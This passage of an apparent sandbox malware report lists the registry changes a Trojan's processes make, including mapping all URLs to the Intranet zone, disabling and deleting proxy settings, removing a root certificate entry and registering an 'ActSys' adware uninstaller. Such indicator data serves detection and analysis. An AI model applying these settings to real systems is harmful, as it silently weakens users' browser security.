[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F374FF79247BC8C4837A959DC3C27AD6AE69D38F]
"Blob" = "03 00 00 00 01 00 00 00 14 00 00 00 F3 74 FF 79"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "0E 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\System\CurrentControlSet\Services\asfilterdrv]
"Tag" = "15"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D0 CA BA 13 E9 86 48 8B 85 1A 2D F8 61 33 50 99"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\ActSys]
"instid" = "8f0H1IZc90K6Po54nhqvSbmo86HElfdO"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates]
"F374FF79247BC8C4837A959DC3C27AD6AE69D38F"

The process wpm_v20.0.0.2301.exe:2928 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B5 BB 47 C0 F6 A4 27 F4 EB DC 79 7E 1E 34 F3 F4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\All Users\Application Data\lWdsManProl]
"WdsManPro.exe" = "DTools"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\WdsManPro]
"ptid" = "pcm"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process SFKEX.exe:2356 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 30 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B6 C9 03 B3 42 CA 11 E7 7E F9 8E 9C B8 80 29 2F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nfregdrv.exe:888 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "50 67 2B D2 9D 80 3B 5B 30 7A B2 CA C3 7D 3C EE"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "08 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

The process nfregdrv.exe:600 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0B CD 45 E3 DD 2F 5F 50 D8 2F DC 8C 76 C0 19 6C"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "09 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

The process %original file name%.exe:872 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp]
"lV3vYxkgImpuHrJdsvvA2VZp_mb_1.exe" = "Download da Internet"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D 9F BE 9C 59 04 0E 04 D2 C7 AC E4 7A 16 AE B8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_ps.exe:1084 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3C FE 19 50 2D 3B 31 6D CA 00 85 B9 FA A9 A0 FE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process SSFK.exe:3392 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\A]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 06 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\C]
"BaseClass" = "Drive"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\D]
"BaseClass" = "Drive"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\F]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B4 CF CC 4C 75 44 06 4A 20 69 25 FF 53 BF 28 F8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_nj.exe:2020 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 DE 7B A2 CC 40 C3 B7 D5 AE FF 97 25 AC 92 B0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ActSys]
"DisplayName" = "ActSys"
"QuietUninstallString" = "%Program Files%\ActSys\remove_ActSys.exe /S"
"UninstallString" = "%Program Files%\ActSys\remove_ActSys.exe /S"
"Publisher" = "NINJASOFT"

[HKLM\SOFTWARE\ActSys]
"Version" = "2.1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ActSys]
"Comments" = "Browse safe online with our product! It alerts you if a page is harmful for your computer (Build ID: h6dvBXCNXC4uS7ijIrTc2lVxS)"
"DisplayVersion" = "2.1.0"

The process lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_a9.exe:608 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\20150914005024\I\645.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\20150914005024\I]
"QQBrowser.exe" = "QQÃƒÂ¦Ã‚ÂµÃ‚ÂÃƒÂ¨Ã‚Â§Ã‹â€ ÃƒÂ¥Ã¢â€žÂ¢Ã‚Â¨"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "76 CC 4F 09 CA 55 7F 09 23 07 63 EF C9 4D 28 AB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process WNet.exe:656 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
